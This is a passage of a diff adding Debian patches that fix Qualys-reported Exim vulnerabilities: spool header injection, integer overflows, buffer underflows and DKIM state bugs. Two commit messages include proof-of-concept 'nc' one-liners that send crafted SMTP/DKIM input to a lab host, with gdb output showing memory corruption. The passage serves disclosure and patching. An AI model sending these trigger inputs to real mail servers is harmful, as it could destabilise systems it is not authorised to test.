b/debian/patches/84_10-CVE-2020-28026-Line-truncation-and-injection-in-spoo.patch new file mode 100644 index 0000000..3864de2 --- /dev/null +++ b/debian/patches/84_10-CVE-2020-28026-Line-truncation-and-injection-in-spoo.patch @@ -0,0 +1,102 @@ +From 327f647a849c3974e7107b5386421b0058c15b29 Mon Sep 17 00:00:00 2001 +From: Qualys Security Advisory <qsa@qualys.com> +Date: Sun, 21 Feb 2021 21:17:31 -0800 +Subject: [PATCH 10/29] CVE-2020-28026: Line truncation and injection in + spool_read_header() + +This also fixes: + +2/ In src/spool_in.c: + + 462 while ( (len = Ustrlen(big_buffer)) == big_buffer_size-1 + 463 && big_buffer[len-1] != '\n' + 464 ) + 465 { /* buffer not big enough for line; certs make this possible */ + 466 uschar * buf; + 467 if (big_buffer_size >= BIG_BUFFER_SIZE*4) goto SPOOL_READ_ERROR; + 468 buf = store_get_perm(big_buffer_size *= 2, FALSE); + 469 memcpy(buf, big_buffer, --len); + +The --len in memcpy() chops off a useful byte (we know for sure that +big_buffer[len-1] is not a '\n' because we entered the while loop). +--- + src/spool_in.c | 48 +++++++++++++++++++++++++++++++--------------- + 1 file changed, 33 insertions(+), 15 deletions(-) + +diff --git a/src/spool_in.c b/src/spool_in.c +index 2d349778c..dbbcf23ee 100644 +--- a/src/spool_in.c ++++ b/src/spool_in.c +@@ -307,6 +307,36 @@ dsn_ret = 0; + dsn_envid = NULL; + } + ++static void * ++fgets_big_buffer(FILE *fp) ++{ ++int len = 0; ++ ++big_buffer[0] = 0; ++if (Ufgets(big_buffer, big_buffer_size, fp) == NULL) return NULL; ++ ++while ((len = Ustrlen(big_buffer)) == big_buffer_size-1 ++ && big_buffer[len-1] != '\n') ++ { ++ uschar *newbuffer; ++ int newsize; ++ ++ if (big_buffer_size >= BIG_BUFFER_SIZE * 4) return NULL; ++ newsize = big_buffer_size * 2; ++ newbuffer = store_get_perm(newsize); ++ memcpy(newbuffer, big_buffer, len); ++ ++ big_buffer = newbuffer; ++ big_buffer_size = newsize; ++ if (Ufgets(big_buffer + len, big_buffer_size - len, fp) == NULL) return NULL; ++ } ++ ++if (len <= 0 || big_buffer[len-1] != '\n') return NULL; ++return big_buffer; ++} ++ ++ ++ + + /************************************************* + * Read spool header file * +@@ -450,21 +480,9 @@ p = big_buffer + 2; + for (;;) + { + int len; +- if (Ufgets(big_buffer, big_buffer_size, fp) == NULL) goto SPOOL_READ_ERROR; ++ if (fgets_big_buffer(fp) == NULL) goto SPOOL_READ_ERROR; + if (big_buffer[0] != '-') break; +- while ( (len = Ustrlen(big_buffer)) == big_buffer_size-1 +- && big_buffer[len-1] != '\n' +- ) +- { /* buffer not big enough for line; certs make this possible */ +- uschar * buf; +- if (big_buffer_size >= BIG_BUFFER_SIZE*4) goto SPOOL_READ_ERROR; +- buf = store_get_perm(big_buffer_size *= 2); +- memcpy(buf, big_buffer, --len); +- big_buffer = buf; +- if (Ufgets(big_buffer+len, big_buffer_size-len, fp) == NULL) +- goto SPOOL_READ_ERROR; +- } +- big_buffer[len-1] = 0; ++ big_buffer[Ustrlen(big_buffer)-1] = 0; + + switch(big_buffer[1]) + { +@@ -724,7 +742,7 @@ DEBUG(D_deliver) + buffer. It contains the count of recipients which follow on separate lines. + Apply an arbitrary sanity check.*/ + +-if (Ufgets(big_buffer, big_buffer_size, fp) == NULL) goto SPOOL_READ_ERROR; ++if (fgets_big_buffer(fp) == NULL) goto SPOOL_READ_ERROR; + if (sscanf(CS big_buffer, "%d", &rcount) != 1 || rcount > 16384) + goto SPOOL_FORMAT_ERROR; + +-- +2.30.2 + diff --git a/debian/patches/84_11-CVE-2020-28015-28021-New-line-injection-into-spool-h.patch b/debian/patches/84_11-CVE-2020-28015-28021-New-line-injection-into-spool-h.patch new file mode 100644 index 0000000..1d2cc7e --- /dev/null +++ b/debian/patches/84_11-CVE-2020-28015-28021-New-line-injection-into-spool-h.patch @@ -0,0 +1,69 @@ +From ac8f49ef90e768a63ed3dca50e2b2c6e8d333bfd Mon Sep 17 00:00:00 2001 +From: Qualys Security Advisory <qsa@qualys.com> +Date: Sun, 21 Feb 2021 21:26:53 -0800 +Subject: [PATCH 11/29] CVE-2020-28015+28021: New-line injection into spool + header file + +--- + src/spool_out.c | 21 +++++++++++++++++---- + 1 file changed, 17 insertions(+), 4 deletions(-) + +diff --git a/src/spool_out.c b/src/spool_out.c +index d55895202..9394393d5 100644 +--- a/src/spool_out.c ++++ b/src/spool_out.c +@@ -108,6 +108,18 @@ return fd; + * Write the header spool file * + *************************************************/ + ++static const uschar * ++zap_newlines(const uschar *s) ++{ ++uschar *z, *p; ++ ++if (Ustrchr(s, '\n') == NULL) return s; ++ ++p = z = string_copy(s); ++while ((p = Ustrchr(p, '\n')) != NULL) *p++ = ' '; ++return z; ++} ++ + /* Returns the size of the file for success; zero for failure. The file is + written under a temporary name, and then renamed. It's done this way so that it + works with re-writing the file on message deferral as well as for the initial +@@ -210,7 +222,7 @@ if (body_zerocount > 0) fprintf(fp, "-body_zerocount %d\n", body_zerocount); + if (authenticated_id) + fprintf(fp, "-auth_id %s\n", authenticated_id); + if (authenticated_sender) +- fprintf(fp, "-auth_sender %s\n", authenticated_sender); ++ fprintf(fp, "-auth_sender %s\n", zap_newlines(authenticated_sender)); + + if (f.allow_unqualified_recipient) fprintf(fp, "-allow_unqualified_recipient\n"); + if (f.allow_unqualified_sender) fprintf(fp, "-allow_unqualified_sender\n"); +@@ -283,19 +295,20 @@ fprintf(fp, "%d\n", recipients_count); + for (i = 0; i < recipients_count; i++) + { + recipient_item *r = recipients_list + i; ++ const uschar *address = zap_newlines(r->address); + + DEBUG(D_deliver) debug_printf("DSN: Flags :%d\n", r->dsn_flags); + + if (r->pno < 0 && r->errors_to == NULL && r->dsn_flags == 0) +- fprintf(fp, "%s\n", r->address); ++ fprintf(fp, "%s\n", address); + else + { +- uschar * errors_to = r->errors_to ? r->errors_to : US""; ++ const uschar * errors_to = r->errors_to ? zap_newlines(r->errors_to) : US""; + /* for DSN SUPPORT extend exim 4 spool in a compatible way by + adding new values upfront and add flag 0x02 */ + uschar * orcpt = r->orcpt ? r->orcpt : US""; + +- fprintf(fp, "%s %s %d,%d %s %d,%d#3\n", r->address, orcpt, Ustrlen(orcpt), ++ fprintf(fp, "%s %s %d,%d %s %d,%d#3\n", address, orcpt, Ustrlen(orcpt), + r->dsn_flags, errors_to, Ustrlen(errors_to), r->pno); + } + +-- +2.30.2 + diff --git a/debian/patches/84_12-CVE-2020-28009-Integer-overflow-in-get_stdinput.patch b/debian/patches/84_12-CVE-2020-28009-Integer-overflow-in-get_stdinput.patch new file mode 100644 index 0000000..acde64a --- /dev/null +++ b/debian/patches/84_12-CVE-2020-28009-Integer-overflow-in-get_stdinput.patch @@ -0,0 +1,61 @@ +From 2cb94a53eb9186bd405120543301e1240b895d86 Mon Sep 17 00:00:00 2001 +From: Qualys Security Advisory <qsa@qualys.com> +Date: Sun, 21 Feb 2021 21:45:19 -0800 +Subject: [PATCH 12/29] CVE-2020-28009: Integer overflow in get_stdinput() + +--- + src/string.c | 23 ++++++++++++++++++++++- + 1 file changed, 22 insertions(+), 1 deletion(-) + +diff --git a/src/string.c b/src/string.c +index 3445f8a42..2cdbe7c75 100644 +--- a/src/string.c ++++ b/src/string.c +@@ -1147,6 +1147,18 @@ To try to keep things reasonable, we use increments whose size depends on the + existing length of the string. */ + + unsigned inc = oldsize < 4096 ? 127 : 1023; ++ ++if (g->ptr < 0 || g->ptr > g->size || g->size >= INT_MAX/2) ++ log_write(0, LOG_MAIN|LOG_PANIC_DIE, ++ "internal error in gstring_grow (ptr %d size %d)", g->ptr, g->size); ++ ++if (count <= 0) return; ++ ++if (count >= INT_MAX/2 - g->ptr) ++ log_write(0, LOG_MAIN|LOG_PANIC_DIE, ++ "internal error in gstring_grow (ptr %d count %d)", g->ptr, count); ++ ++ + g->size = ((p + count + inc) & ~inc) + 1; + + /* Try to extend an existing allocation. If the result of calling +@@ -1194,6 +1206,10 @@ string_catn(gstring * g, const uschar *s, int count) + { + int p; + ++if (count < 0) ++ log_write(0, LOG_MAIN|LOG_PANIC_DIE, ++ "internal error in string_catn (count %d)", count); ++ + if (!g) + { + unsigned inc = count < 4096 ? 127 : 1023; +@@ -1201,8 +1217,13 @@ if (!g) + g = string_get(size); + } + ++if (g->ptr < 0 || g->ptr > g->size) ++ log_write(0, LOG_MAIN|LOG_PANIC_DIE, ++ "internal error in string_catn (ptr %d size %d)", g->ptr, g->size); ++ + p = g->ptr; +-if (p + count >= g->size) ++ ++if (count >= g->size - p) + gstring_grow(g, p, count); + + /* Because we always specify the exact number of characters to copy, we can +-- +2.30.2 + diff --git a/debian/patches/84_13-CVE-2020-28024-Heap-buffer-underflow-in-smtp_ungetc.patch b/debian/patches/84_13-CVE-2020-28024-Heap-buffer-underflow-in-smtp_ungetc.patch new file mode 100644 index 0000000..4545ff3 --- /dev/null +++ b/debian/patches/84_13-CVE-2020-28024-Heap-buffer-underflow-in-smtp_ungetc.patch @@ -0,0 +1,41 @@ +From 7ea481a6471cdad3a674b767f808357b3c7fc721 Mon Sep 17 00:00:00 2001 +From: Qualys Security Advisory <qsa@qualys.com> +Date: Sun, 21 Feb 2021 21:49:30 -0800 +Subject: [PATCH 13/29] CVE-2020-28024: Heap buffer underflow in smtp_ungetc() + +--- + src/smtp_in.c | 3 +++ + src/tls.c | 3 +++ + 2 files changed, 6 insertions(+) + +diff --git a/src/smtp_in.c b/src/smtp_in.c +index 16c3a3e33..bdcfde65f 100644 +--- a/src/smtp_in.c ++++ b/src/smtp_in.c +@@ -805,6 +805,9 @@ Returns: the character + int + smtp_ungetc(int ch) + { ++if (smtp_inptr <= smtp_inbuffer) ++ log_write(0, LOG_MAIN|LOG_PANIC_DIE, "buffer underflow in smtp_ungetc"); ++ + *--smtp_inptr = ch; + return ch; + } +diff --git a/src/tls.c b/src/tls.c +index f79bc3193..2a316fe59 100644 +--- a/src/tls.c ++++ b/src/tls.c +@@ -151,6 +151,9 @@ Returns: the character + int + tls_ungetc(int ch) + { ++if (ssl_xfer_buffer_lwm <= 0) ++ log_write(0, LOG_MAIN|LOG_PANIC_DIE, "buffer underflow in tls_ungetc"); ++ + ssl_xfer_buffer[--ssl_xfer_buffer_lwm] = ch; + return ch; + } +-- +2.30.2 + diff --git a/debian/patches/84_14-CVE-2020-28012-Missing-close-on-exec-flag-for-privil.patch b/debian/patches/84_14-CVE-2020-28012-Missing-close-on-exec-flag-for-privil.patch new file mode 100644 index 0000000..c9b2f65 --- /dev/null +++ b/debian/patches/84_14-CVE-2020-28012-Missing-close-on-exec-flag-for-privil.patch @@ -0,0 +1,31 @@ +From a1f36d86760def10138c1053eb3b1882b281fcd9 Mon Sep 17 00:00:00 2001 +From: Qualys Security Advisory <qsa@qualys.com> +Date: Sun, 21 Feb 2021 21:53:55 -0800 +Subject: [PATCH 14/29] CVE-2020-28012: Missing close-on-exec flag for + privileged pipe + +--- + src/rda.c | 4 ++++ + 1 file changed, 4 insertions(+) + +diff --git a/src/rda.c b/src/rda.c +index 13f570928..c27e073a3 100644 +--- a/src/rda.c ++++ b/src/rda.c +@@ -623,9 +623,13 @@ search_tidyup(); + if ((pid = fork()) == 0) + { + header_line *waslast = header_last; /* Save last header */ ++ int fd_flags = -1; + + fd = pfd[pipe_write]; + (void)close(pfd[pipe_read]); ++ ++ if ((fd_flags = fcntl(fd, F_GETFD)) == -1) goto bad; ++ if (fcntl(fd, F_SETFD, fd_flags | FD_CLOEXEC) == -1) goto bad; + exim_setugid(ugid->uid, ugid->gid, FALSE, rname); + + /* Addresses can get rewritten in filters; if we are not root or the exim +-- +2.30.2 + diff --git a/debian/patches/84_15-Security-Safeguard-against-relative-names-for-msglog.patch b/debian/patches/84_15-Security-Safeguard-against-relative-names-for-msglog.patch new file mode 100644 index 0000000..7b2607a --- /dev/null +++ b/debian/patches/84_15-Security-Safeguard-against-relative-names-for-msglog.patch @@ -0,0 +1,41 @@ +From 0d5d8fc918c4b999a2d5b025d94e25e43680377d Mon Sep 17 00:00:00 2001 +From: Qualys Security Advisory <qsa@qualys.com> +Date: Sun, 21 Feb 2021 22:00:31 -0800 +Subject: [PATCH 15/29] Security: Safeguard against relative names for msglog + files. + +Based on Heiko Schlittermann's commit 4f0ac4ad. This fixes: + +3/ In src/deliver.c: + + 333 static int + 334 open_msglog_file(uschar *filename, int mode, uschar **error) + 335 { + 336 if (Ustrstr(filename, US"/../")) + 337 log_write(0, LOG_MAIN|LOG_PANIC, + 338 "Attempt to open msglog file path with upward-traversal: '%s'\n", filename); + +Should this be LOG_PANIC_DIE instead of LOG_PANIC? Right now it will log +the /../ attempt but will open the file anyway. +--- + src/deliver.c | 4 ++++ + 1 file changed, 4 insertions(+) + +diff --git a/src/deliver.c b/src/deliver.c +index d4ed8af08..279672ce0 100644 +--- a/src/deliver.c ++++ b/src/deliver.c +@@ -331,6 +331,10 @@ open_msglog_file(uschar *filename, int mode, uschar **error) + { + int fd, i; + ++if (Ustrstr(filename, US"/../")) ++ log_write(0, LOG_MAIN|LOG_PANIC_DIE, ++ "Attempt to open msglog file path with upward-traversal: '%s'", filename); ++ + for (i = 2; i > 0; i--) + { + fd = Uopen(filename, +-- +2.30.2 + diff --git a/debian/patches/84_16-Security-Check-overrun-rcpt_count-integer.patch b/debian/patches/84_16-Security-Check-overrun-rcpt_count-integer.patch new file mode 100644 index 0000000..f8bda54 --- /dev/null +++ b/debian/patches/84_16-Security-Check-overrun-rcpt_count-integer.patch @@ -0,0 +1,39 @@ +From 56aadff97bc4e45e6a2ce25cfb9a98a4ae4bec79 Mon Sep 17 00:00:00 2001 +From: Qualys Security Advisory <qsa@qualys.com> +Date: Sun, 21 Feb 2021 22:05:37 -0800 +Subject: [PATCH 16/29] Security: Check overrun rcpt_count integer + +Based on Heiko Schlittermann's commit e5cb5e61. This fixes: + +4/ In src/smtp_in.c: + +4966 case RCPT_CMD: +4967 HAD(SCH_RCPT); +4968 rcpt_count++; +.... +5123 if (rcpt_count > recipients_max && recipients_max > 0) + +In theory this recipients_max check can be bypassed, because the int +rcpt_count can overflow (become negative). In practice this would either +consume too much memory or generate too much network traffic, but maybe +it should be fixed anyway. +--- + src/smtp_in.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/src/smtp_in.c b/src/smtp_in.c +index bdcfde65f..1a5fbfea3 100644 +--- a/src/smtp_in.c ++++ b/src/smtp_in.c +@@ -4993,6 +4993,8 @@ while (done <= 0) + + case RCPT_CMD: + HAD(SCH_RCPT); ++ if (rcpt_count < 0 || rcpt_count >= INT_MAX/2) ++ log_write(0, LOG_MAIN|LOG_PANIC_DIE, "Too many recipients: %d", rcpt_count); + rcpt_count++; + was_rcpt = fl.rcpt_in_progress = TRUE; + +-- +2.30.2 + diff --git a/debian/patches/84_17-Security-Always-exit-when-LOG_PANIC_DIE-is-set.patch b/debian/patches/84_17-Security-Always-exit-when-LOG_PANIC_DIE-is-set.patch new file mode 100644 index 0000000..a9eee56 --- /dev/null +++ b/debian/patches/84_17-Security-Always-exit-when-LOG_PANIC_DIE-is-set.patch @@ -0,0 +1,24 @@ +From 9b1ba71e66d18b1ae185e4d83788dc913f903a56 Mon Sep 17 00:00:00 2001 +From: Qualys Security Advisory <qsa@qualys.com> +Date: Sun, 21 Feb 2021 22:09:06 -0800 +Subject: [PATCH 17/29] Security: Always exit when LOG_PANIC_DIE is set + +--- + src/log.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/src/log.c b/src/log.c +index d08200044..c8313890e 100644 +--- a/src/log.c ++++ b/src/log.c +@@ -894,6 +894,7 @@ if (!(flags & (LOG_MAIN|LOG_PANIC|LOG_REJECT))) + if (f.disable_logging) + { + DEBUG(D_any) debug_printf("log writing disabled\n"); ++ if ((flags & LOG_PANIC_DIE) == LOG_PANIC_DIE) exim_exit(EXIT_FAILURE, NULL); + return; + } + +-- +2.30.2 + diff --git a/debian/patches/84_18-Security-Fix-off-by-one-in-smtp-transport-read-respo.patch b/debian/patches/84_18-Security-Fix-off-by-one-in-smtp-transport-read-respo.patch new file mode 100644 index 0000000..47d67d2 --- /dev/null +++ b/debian/patches/84_18-Security-Fix-off-by-one-in-smtp-transport-read-respo.patch @@ -0,0 +1,47 @@ +From 28335a4704d8d615fd61e05ea6e435a4cd24e4df Mon Sep 17 00:00:00 2001 +From: Qualys Security Advisory <qsa@qualys.com> +Date: Sun, 21 Feb 2021 22:13:18 -0800 +Subject: [PATCH 18/29] Security: Fix off-by-one in smtp transport (read + response) + +Based on Heiko Schlittermann's commit 1887a160. This fixes: + +1/ In src/transports/smtp.c: + +2281 int n = sizeof(sx->buffer); +2282 uschar * rsp = sx->buffer; +2283 +2284 if (sx->esmtp_sent && (n = Ustrlen(sx->buffer)) < sizeof(sx->buffer)/2) +2285 { rsp = sx->buffer + n + 1; n = sizeof(sx->buffer) - n; } + +This should probably be either: + +rsp = sx->buffer + n + 1; n = sizeof(sx->buffer) - n - 1; + +or: + +rsp = sx->buffer + n; n = sizeof(sx->buffer) - n; + +(not sure which) to avoid an off-by-one. +--- + src/transports/smtp.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/src/transports/smtp.c b/src/transports/smtp.c +index cc37e73f3..07b63a2aa 100644 +--- a/src/transports/smtp.c ++++ b/src/transports/smtp.c +@@ -2328,8 +2328,8 @@ goto SEND_QUIT; + int n = sizeof(sx->buffer); + uschar * rsp = sx->buffer; + +- if (sx->esmtp_sent && (n = Ustrlen(sx->buffer)) < sizeof(sx->buffer)/2) +- { rsp = sx->buffer + n + 1; n = sizeof(sx->buffer) - n; } ++ if (sx->esmtp_sent && (n = Ustrlen(sx->buffer) + 1) < sizeof(sx->buffer)/2) ++ { rsp = sx->buffer + n; n = sizeof(sx->buffer) - n; } + + if (smtp_write_command(sx, SCMD_FLUSH, "HELO %s\r\n", sx->helo_data) < 0) + goto SEND_FAILED; +-- +2.30.2 + diff --git a/debian/patches/84_19-Security-Avoid-decrement-of-dkim_collect_input-if-al.patch b/debian/patches/84_19-Security-Avoid-decrement-of-dkim_collect_input-if-al.patch new file mode 100644 index 0000000..a2b52fe --- /dev/null +++ b/debian/patches/84_19-Security-Avoid-decrement-of-dkim_collect_input-if-al.patch @@ -0,0 +1,59 @@ +From 031ae594f6e68511117f6d39ce238b0c5215d8d1 Mon Sep 17 00:00:00 2001 +From: Qualys Security Advisory <qsa@qualys.com> +Date: Sun, 21 Feb 2021 22:19:42 -0800 +Subject: [PATCH 19/29] Security: Avoid decrement of dkim_collect_input if + already at 0 + +Based on Heiko Schlittermann's commit bf2d6e58. This fixes: + +5/ receive_msg() calls dkim_exim_verify_finish(), which sets +dkim_collect_input to 0 and calls pdkim_feed_finish(), which calls +pdkim_header_complete(), which decreases dkim_collect_input to UINT_MAX, +which reactivates the DKIM code. + +As a result, pdkim_feed() is called again (through receive_getc at the +end of receive_msg()), but functions like pdkim_finish_bodyhash() and +exim_sha_finish() have already been called (in pdkim_feed_finish()). +This suggests a use-after-free. + +But it seems that a use-after-free would happen only with +EVP_DigestFinal() (in exim_sha_finish()), which does not seem to be +reachable via DKIM (no SHA3). But we checked OpenSSL only, not GnuTLS. + +Here is a proof of concept that triggers the bug (which came very close +to a security vulnerability): + +(sleep 10; echo 'EHLO test'; sleep 3; echo 'MAIL FROM:<>'; sleep 3; echo 'RCPT TO:postmaster'; sleep 3; echo 'BDAT 42 LAST'; date >&2; sleep 30; printf 'not a valid header line\r\n +DKIM-Signature:\r\nXXX'; sleep 30) | nc -n -v 192.168.56.102 25 + +(gdb) print &dkim_collect_input +$2 = (unsigned int *) 0x55e180386d90 <dkim_collect_input> +(gdb) watch *(unsigned int *) 0x55e180386d90 + +Hardware watchpoint 1: *(unsigned int *) 0x55e180386d90 +Old value = 0 +New value = 4294967295 +#0 0x000055e18031f805 in pdkim_header_complete (ctx=ctx@entry=0x55e181b9e8e0) at pdkim.c:1006 +#1 0x000055e18032106c in pdkim_feed_finish (ctx=0x55e181b9e8e0, return_signatures=0x55e180386d78 <dkim_signatures>, err=err@entry=0x7ffe443e1d00) at pdkim.c:1490 +#2 0x000055e1802a3280 in dkim_exim_verify_finish () at dkim.c:328 +#3 0x000055e1802c9d1d in receive_msg (extract_recip=extract_recip@entry=0) at receive.c:3409 +--- + src/pdkim/pdkim.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/src/pdkim/pdkim.c b/src/pdkim/pdkim.c +index e203311da..e3233e9f0 100644 +--- a/src/pdkim/pdkim.c ++++ b/src/pdkim/pdkim.c +@@ -1010,7 +1010,7 @@ else + last_sig->next = sig; + } + +- if (--dkim_collect_input == 0) ++ if (dkim_collect_input && --dkim_collect_input == 0) + { + ctx->headers = pdkim_prepend_stringlist(ctx->headers, ctx->cur_header->s); + ctx->cur_header->s[ctx->cur_header->ptr = 0] = '\0'; +-- +2.30.2 + diff --git a/debian/patches/84_20-Security-Leave-a-clean-smtp_out-input-buffer-even-in.patch b/debian/patches/84_20-Security-Leave-a-clean-smtp_out-input-buffer-even-in.patch new file mode 100644 index 0000000..acf17d3 --- /dev/null +++ b/debian/patches/84_20-Security-Leave-a-clean-smtp_out-input-buffer-even-in.patch @@ -0,0 +1,67 @@ +From 6b647c508aced6961f00e139f0337e2c8aba9eb7 Mon Sep 17 00:00:00 2001 +From: Qualys Security Advisory <qsa@qualys.com> +Date: Sun, 21 Feb 2021 22:24:13 -0800 +Subject: [PATCH 20/29] Security: Leave a clean smtp_out input buffer even in + case of read error + +Based on Heiko Schlittermann's commit 54895bc3. This fixes: + +7/ In src/smtp_out.c, read_response_line(), inblock->ptr is not updated +when -1 is returned. This does not seem to have bad consequences, but is +maybe not the intended behavior. +--- + src/smtp_out.c | 6 ++++-- + 1 file changed, 4 insertions(+), 2 deletions(-) + +--- a/src/smtp_out.c ++++ b/src/smtp_out.c +@@ -387,11 +387,11 @@ HDEBUG(D_transport|D_acl|D_v) + #ifdef SUPPORT_SOCKS + if (ob->socks_proxy) + { + int sock = socks_sock_connect(sc->host, sc->host_af, port, sc->interface, + sc->tblock, ob->connect_timeout); +- ++ + if (sock >= 0) + { + if (early_data && early_data->data && early_data->len) + if (send(sock, early_data->data, early_data->len, 0) < 0) + { +@@ -588,11 +588,11 @@ Arguments: + buffer where to put the line + size space available for the line + timelimit deadline for reading the lime, seconds past epoch + + Returns: length of a line that has been put in the buffer +- -1 otherwise, with errno set ++ -1 otherwise, with errno set, and inblock->ptr adjusted + */ + + static int + read_response_line(smtp_inblock *inblock, uschar *buffer, int size, time_t timelimit) + { +@@ -629,10 +629,11 @@ for (;;) + *p++ = c; + if (--size < 4) + { + *p = 0; /* Leave malformed line for error message */ + errno = ERRNO_SMTPFORMAT; ++ inblock->ptr = ptr; + return -1; + } + } + + /* Need to read a new input packet. */ +@@ -654,10 +655,11 @@ for (;;) + } + + /* Get here if there has been some kind of recv() error; errno is set, but we + ensure that the result buffer is empty before returning. */ + ++inblock->ptr = inblock->ptrend = inblock->buffer; + *buffer = 0; + return -1; + } + + diff --git a/debian/patches/84_21-Security-Avoid-modification-of-constant-data-in-dkim.patch b/debian/patches/84_21-Security-Avoid-modification-of-constant-data-in-dkim.patch new file mode 100644 index 0000000..b723d0f --- /dev/null +++ b/debian/patches/84_21-Security-Avoid-modification-of-constant-data-in-dkim.patch @@ -0,0 +1,89 @@ +From a4e1b7755ebbdee2689d40683ba69f09e38a8d7f Mon Sep 17 00:00:00 2001 +From: Qualys Security Advisory <qsa@qualys.com> +Date: Sun, 21 Feb 2021 22:30:03 -0800 +Subject: [PATCH 21/29] Security: Avoid modification of constant data in dkim + handling + +Based on Heiko Schlittermann's commits f880c7f3 and c118c7f4. This +fixes: + +6/ In src/pdkim/pdkim.c, pdkim_update_ctx_bodyhash() is sometimes called +with a global orig_data and hence canon_data, and the following line can +therefore modify data that should be constant: + + 773 canon_data->len = b->bodylength - b->signed_body_bytes; + +For example, the following proof of concept sets lineending.len to 0 +(this should not be possible): + +(sleep 10; echo 'EHLO test'; sleep 3; echo 'MAIL FROM:<>'; sleep 3; echo 'RCPT TO:postmaster'; sleep 3; echo 'DATA'; date >&2; sleep 30; printf 'DKIM-Signature:a=rsa-sha1;c=simple/simple;l=0\r\n\r\n\r\nXXX\r\n.\r\n'; sleep 30) | nc -n -v 192.168.56.102 25 + +(gdb) print lineending +$1 = {data = 0x55e18035b2ad "\r\n", len = 2} +(gdb) print &lineending.len +$3 = (size_t *) 0x55e180385948 <lineending+8> +(gdb) watch *(size_t *) 0x55e180385948 + +Hardware watchpoint 1: *(size_t *) 0x55e180385948 +Old value = 2 +New value = 0 +(gdb) print lineending +$5 = {data = 0x55e18035b2ad "\r\n", len = 0} +--- + src/pdkim/pdkim.c | 21 ++++++++++++--------- + 1 file changed, 12 insertions(+), 9 deletions(-) + +diff --git a/src/pdkim/pdkim.c b/src/pdkim/pdkim.c +index e3233e9f0..512a3e352 100644 +--- a/src/pdkim/pdkim.c ++++ b/src/pdkim/pdkim.c +@@ -107,7 +107,7 @@ pdkim_combined_canon_entry pdkim_combined_canons[] = { + }; + + +-static blob lineending = {.data = US"\r\n", .len = 2}; ++static const blob lineending = {.data = US"\r\n", .len = 2}; + + /* -------------------------------------------------------------------------- */ + uschar * +@@ -719,9 +719,11 @@ return NULL; + If we have to relax the data for this sig, return our copy of it. */ + + static blob * +-pdkim_update_ctx_bodyhash(pdkim_bodyhash * b, blob * orig_data, blob * relaxed_data) ++pdkim_update_ctx_bodyhash(pdkim_bodyhash * b, const blob * orig_data, blob * relaxed_data) + { +-blob * canon_data = orig_data; ++const blob * canon_data = orig_data; ++size_t left; ++ + /* Defaults to simple canon (no further treatment necessary) */ + + if (b->canon_method == PDKIM_CANON_RELAXED) +@@ -767,16 +769,17 @@ if (b->canon_method == PDKIM_CANON_RELAXED) + } + + /* Make sure we don't exceed the to-be-signed body length */ ++left = canon_data->len; + if ( b->bodylength >= 0 +- && b->signed_body_bytes + (unsigned long)canon_data->len > b->bodylength ++ && left > (unsigned long)b->bodylength - b->signed_body_bytes + ) +- canon_data->len = b->bodylength - b->signed_body_bytes; ++ left = (unsigned long)b->bodylength - b->signed_body_bytes; + +-if (canon_data->len > 0) ++if (left > 0) + { +- exim_sha_update(&b->body_hash_ctx, CUS canon_data->data, canon_data->len); +- b->signed_body_bytes += canon_data->len; +- DEBUG(D_acl) pdkim_quoteprint(canon_data->data, canon_data->len); ++ exim_sha_update(&b->body_hash_ctx, CUS canon_data->data, left); ++ b->signed_body_bytes += left; ++ DEBUG(D_acl) pdkim_quoteprint(canon_data->data, left); + } + + return relaxed_data; +-- +2.30.2 + diff --git a/debian/patches/84_22-CVE-2020-28019-Failure-to-reset-function-pointer-aft.patch b/debian/patches/84_22-CVE-2020-28019-Failure-to-reset-function-pointer-aft.patch new file mode 100644 index 0000000..0d44293 --- /dev/null +++ b/debian/patches/84_22-CVE-2020-28019-Failure-to-reset-function-pointer-aft.patch @@ -0,0 +1,135 @@ +From 1663ab541b37675dec5bcf235605568ff36ac65a Mon Sep 17 00:00:00 2001 +From: Qualys Security Advisory <qsa@qualys.com> +Date: Sun, 21 Feb 2021 22:36:10 -0800 +Subject: [PATCH 22/29] CVE-2020-28019: Failure to reset function pointer after + BDAT error + +Based on Phil Pennock's commits 4715403e and 151ffd72, and Jeremy +Harris's commits aa171254 and 9aceb5c2. +--- + src/globals.c | 1 + + src/globals.h | 1 + + src/smtp_in.c | 55 +++++++++++++++++++++++++++++++++++++++-------- + 3 files changed, 48 insertions(+), 9 deletions(-) + +diff --git a/src/globals.c b/src/globals.c +index b3362a34c..894b8487b 100644 +--- a/src/globals.c ++++ b/src/globals.c +@@ -247,6 +247,7 @@ struct global_flags f = + .authentication_local = FALSE, + + .background_daemon = TRUE, ++ .bdat_readers_wanted = FALSE, + + .chunking_offered = FALSE, + .config_changed = FALSE, +diff --git a/src/globals.h b/src/globals.h +index f71f104e2..58f7ae55f 100644 +--- a/src/globals.h ++++ b/src/globals.h +@@ -173,6 +173,7 @@ extern struct global_flags { + BOOL authentication_local :1; /* TRUE if non-smtp (implicit authentication) */ + + BOOL background_daemon :1; /* Set FALSE to keep in foreground */ ++ BOOL bdat_readers_wanted :1; /* BDAT-handling to be pushed on readfunc stack */ + + BOOL chunking_offered :1; + BOOL config_changed :1; /* True if -C used */ +diff --git a/src/smtp_in.c b/src/smtp_in.c +index 1a5fbfea3..016c44c0f 100644 +--- a/src/smtp_in.c ++++ b/src/smtp_in.c +@@ -602,6 +602,10 @@ if (n > 0) + #endif + } + ++/* Forward declarations */ ++static inline void bdat_push_receive_functions(void); ++static inline void bdat_pop_receive_functions(void); ++ + + /* Get a byte from the smtp input, in CHUNKING mode. Handle ack of the + previous BDAT chunk and getting new ones when we run out. Uses the +@@ -634,9 +638,7 @@ for(;;) + if (chunking_data_left > 0) + return lwr_receive_getc(chunking_data_left--); + +- receive_getc = lwr_receive_getc; +- receive_getbuf = lwr_receive_getbuf; +- receive_ungetc = lwr_receive_ungetc; ++ bdat_pop_receive_functions(); + #ifndef DISABLE_DKIM + dkim_save = dkim_collect_input; + dkim_collect_input = 0; +@@ -740,9 +742,7 @@ next_cmd: + goto repeat_until_rset; + } + +- receive_getc = bdat_getc; +- receive_getbuf = bdat_getbuf; /* r~getbuf is never actually used */ +- receive_ungetc = bdat_ungetc; ++ bdat_push_receive_functions(); + #ifndef DISABLE_DKIM + dkim_collect_input = dkim_save; + #endif +@@ -775,9 +775,7 @@ while (chunking_data_left) + if (!bdat_getbuf(&n)) break; + } + +-receive_getc = lwr_receive_getc; +-receive_getbuf = lwr_receive_getbuf; +-receive_ungetc = 